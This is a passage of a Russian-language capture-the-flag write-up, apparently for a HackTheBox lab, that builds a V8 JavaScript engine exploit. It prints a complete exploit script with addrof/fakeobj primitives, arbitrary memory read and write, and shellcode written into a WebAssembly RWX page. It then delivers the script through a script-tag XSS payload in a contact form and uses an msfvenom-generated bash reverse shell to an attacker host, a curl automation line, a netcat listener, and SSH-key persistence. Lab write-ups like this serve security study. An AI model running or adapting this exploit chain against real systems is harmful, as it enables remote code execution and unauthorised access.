0x7F,0x03,0x02,0x01,0x00,0x07,0x0A,0x01,0x06,0x61,0x64,0x64,0x54,0x77,0x6F,0x00,
0x00,0x0A,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6A,0x0B,0x00,0x0E,0x04,0x6E,
0x61,0x6D,0x65,0x02,0x07,0x01,0x00,0x02,0x00,0x00,0x01,0x00]);
const wasmModule = new WebAssembly.Module(code_bytes.buffer);
const wasmInstance =
new WebAssembly.Instance(wasmModule, {});
const { addTwo } = wasmInstance.exports;
console.log(addTwo(5, 6));
%DebugPrint(wasmInstance);
Код:
artex@ubuntu:~/v8/out.gn/x64.debug# gdb d8
--skip--
pwndbg> r --shell --allow-natives-syntax /mnt/share/v8/wasm.js
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff3076700 (LWP 5461)]
11
0x2f11082503dc
DebugPrint: 0x2f1108250375: [WasmInstanceObject] in OldSpace
--skip--
Получили адрес WasmInstanceObject: 0x2f1108250375. Теперь найдем в списке процессов наш скрипт и его PID (ps aux | grep wasm.js) и поищем в его карте памяти области rwx:
Код:
artex@ubuntu:/home/artex# cat /proc/5457/maps | grep -i rwx
b444a6ea000-b444a6eb000 rwxp 00000000 00:00 0
Ура, есть такая! Мы получили адрес rwx: 0xb444a6ea000. Осталось найти адрес указателя на эту область, для этого в pwndbg воспользуемся следующей командой:
Код:
pwndbg> search -t pointer 0xb444a6ea000
0x2f11082503dc 0xb444a6ea000
Указатель расположен по адресу 0x2f11082503dc. Осталось рассчитать смещение:
Код:
python -c 'print(hex(0x2f11082503dc - (0x2f1108250375 - 0x1)))'
0x68
Заменим его в скрипте. Но есть еще один указатель, смещение которого поменялось, это backing_store.
Чтобы его найти, опять запустим дебаг‑релиз V8 под отладчиком:
Код:
artex@ubuntu:~/v8/out.gn/x64.debug# gdb d8
-
pwndbg> r --shell --allow-natives-syntax
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 --shell --allow-natives-syntax
-
d8> var buf = new ArrayBuffer(0x100);
undefined
d8> %DebugPrint(buf);
DebugPrint: 0x329e080c5e2d: [JSArrayBuffer]
- map: 0x329e08281189 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x329e082478c1 <Object map = 0x329e082811b1>
- elements: 0x329e080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x5555556f2e80
--skip--
Видим значение backing_store: 0x5555556f2e80. Вычислим смещение (я выделил его красным), не забываем о little endian.
Смещение backing_store
Итак, смещение равно 0x14.
Похоже, на этом все, можно пробовать! Готовим наш тестовый пейлоад с помощью утилиты msfvenom. Все, что он делает, — выводит строку «PWNED!».
Код:
msfvenom -p linux/x64/exec -f dword CMD='bash -c "echo PWNED!"'
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 64 bytes
Final size of dword file: 194 bytes
0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x00000016,
0x68736162, 0x20632d20, 0x68636522, 0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005
А вот и финальный код эксплоита с комментариями:
JavaScript:
// Вспомогательные функции конвертации между float и Integer
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0]=val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
// Создаем addrof-примитив
var obj = {"A":1};
var obj_arr = [obj, obj]; // Массив из двух элементов (чтобы получить размерность 64 бита)
obj_arr.length = 1; // Указываем принудительно размер массива = 1
var float_arr = [1.1, 1.2];
// Из-за переполнения obj_arr[length] и float_arr_map[length] считываем указатель на Map
var obj_arr_map = obj_arr.GetLastElement();
var float_arr_map = float_arr.GetLastElement();
function addrof(in_obj) {
// Помещаем объект, адрес которого нам нужен, в index 0
obj_arr[0] = in_obj;
// Заменяем карту массива obj картой массива float
obj_arr.SetLastElement(float_arr_map);
// Получаем адрес, обращаясь к index 0
let addr = obj_arr[0];
// Заменяем карту обратно на obj
obj_arr.SetLastElement(obj_arr_map);
// Возвращаем адрес в формате BigInt
return ftoi(addr);
}
function fakeobj(addr) {
// Конвертируем адрес во float и помещаем его в нулевой элемент массива float
float_arr[0] = itof(addr);
// Меняем карту float на карту массива obj
float_arr.SetLastElement(obj_arr_map);
// Получаем объект "fake", на который указывает адрес
let fake = float_arr[0];
// Меняем карту обратно на float
float_arr.SetLastElement(float_arr_map);
// Возвращаем полученный объект
return fake;
}
// Этот объект мы будем использовать, чтобы читать из произвольных адресов памяти и писать в них
var arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];
console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));
function arb_read(addr) {
// Мы должны использовать тегированные указатели для чтения, поэтому тегируем адрес
if (addr % 2n == 0)
addr += 1n;
// Помещаем fakeobj в адресное пространство, в котором расположены элементы arb_rw_arr
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 элемента × 8 байт = 0x20
// Изменяем указатель elements arb_rw_arr на read_addr-0x08
// По адресу первого элемента массива float находится 2-й индекс obj_map,
// указывающий на элементы объекта fake
arb_rw_arr[1] = itof(BigInt(addr) - 0x8n);
// Обращаясь к нулевому индексу массива, читаем значение, расположенное по адресу addr,
// и возвращаем его в формате float
return ftoi(fake[0]);
}
function arb_write(addr, val) {
// Помещаем fakeobj в адресное пространство, в котором расположены элементы arb_rw_arr
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 элемента × 8 байт = 0x20
// Изменяем указатель на элементы arb_rw_arr на write_addr-0x08
// По адресу первого элемента массива float находится 2-й индекс obj_map,
// указывающий на элементы объекта fake
arb_rw_arr[1] = itof(BigInt(addr) - 0x8n); //
// Записываем значение в нулевой элемент в формате float,
fake[0] = itof(BigInt(val));
}
// Произвольный код, скомпилированный в WebAssembly (нужен для создания wasm_instance)
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,
3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,
128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,
0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var exploit = wasm_instance.exports.main;
// Получаем адрес wasm_instance
var wasm_instance_addr = addrof(wasm_instance);
console.log("[+] Wasm addr: 0x" + wasm_instance_addr.toString(16));
var rwx_page_addr = arb_read(wasm_instance_addr + 0x68n); // Постоянное смещение страницы rwx = 0x68
function copy_shellcode(addr, shellcode) {
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addrof(buf); // Получаем адрес ArrayBuffer
let backing_store_addr = buf_addr + 0x14n; // Постоянное смещение backing_store=0x14
arb_write(backing_store_addr, addr); // Изменяем адрес backing_store_addr на addr
// Пишем шелл по адресу backing_store_addr
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16));
// msfvenom -p linux/x64/exec -f dword CMD='твой_шелл_код'
var shellcode = new Uint32Array([0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068,
0x2d68e789, 0x48000063, 0xe852e689, 0x00000016, 0x68736162, 0x20632d20, 0x68636522,
0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005]);
// Пишем реверс-шелл по адресу rwx_page
copy_shellcode(rwx_page_addr, shellcode);
// Вызываем wasm_instance c нашим реверс-шеллом
exploit();
Запускаем наш тестовый эксплоит:
Код:
artex@ubuntu:~/v8/out.gn/x64.release# ./d8 /mnt/share/v8/test.js
[+] Controlled float array: 0x8040385080882ed
[+] Wasm addr: 0x8040385082110b1
[+] RWX Wasm page addr: 0x29db47484000
PWNED!
Работает!
Остался последний шаг — разобраться, как его запустить на удаленной машине.
Единственный интерактивный элемент на сайте — это форма обратной связи по адресу http://rope2.htb:8000/contact. Так как V8 — это движок JS, очевидно, что надо как‑то скормить ему наш JavaScript. Запускаем сервер HTTP: python -m http.server 8070 — и вводим во все поля формы
Код:
<script src="[http://10.10.xx.xx:8070/v8.js](http://10.10.16.176:8082/artman.js)"></script>
И получаем запрос от сервера! После недолгих экспериментов я выяснил, что запуск скрипта триггерит поле Message.
Проверяем XSS
Теперь дело за малым. Генерируем боевой пейлоад с реверс‑шеллом и вставляем его в наш скрипт.
Код:
msfvenom -p linux/x64/exec -f dword CMD='bash -c "bash -i >& /dev/tcp/10.10.xx.xx/7090 0>&1"'
Кладем скрипт в папку, из которой запущен наш веб‑сервер, запускаем netcat (nc -lnvp 7090) и отправляем форму с запросом скрипта в поле Message.
Наконец‑то долгожданный шелл!
Получаем шелл
Чтобы автоматизировать процесс, я написал пару строк на bash — получившийся файл нужно положить в ту же папку, где лежит скрипт.
Код:
python -m http.server 8070 &
curl -d 'name=&subject=&content=%3Cscript+src%3D%22http%3A%2F%2F10.10.xx.xx%3A8070%2Fv8.js%22%3E%3C%2Fscript%3E' -L http://10.10.10.196:8000/contact &
nc -lnvp 7090
Правда, сессия живет не больше минуты — видимо, на сервере срабатывает тайм‑аут. Чтобы сделать себе стабильный шелл, нужно добавить пользователю chromeuser свой ключ SSH:
Код:
mkdir /home/chromeuser/.ssh
echo 'твой_ssh_ключ'>>/home/chromeuser/.ssh/authorized_keys
Надеюсь, было интересно и ты узнал для себя много нового!
WWW
Источник: xakep.ru
Автор: artex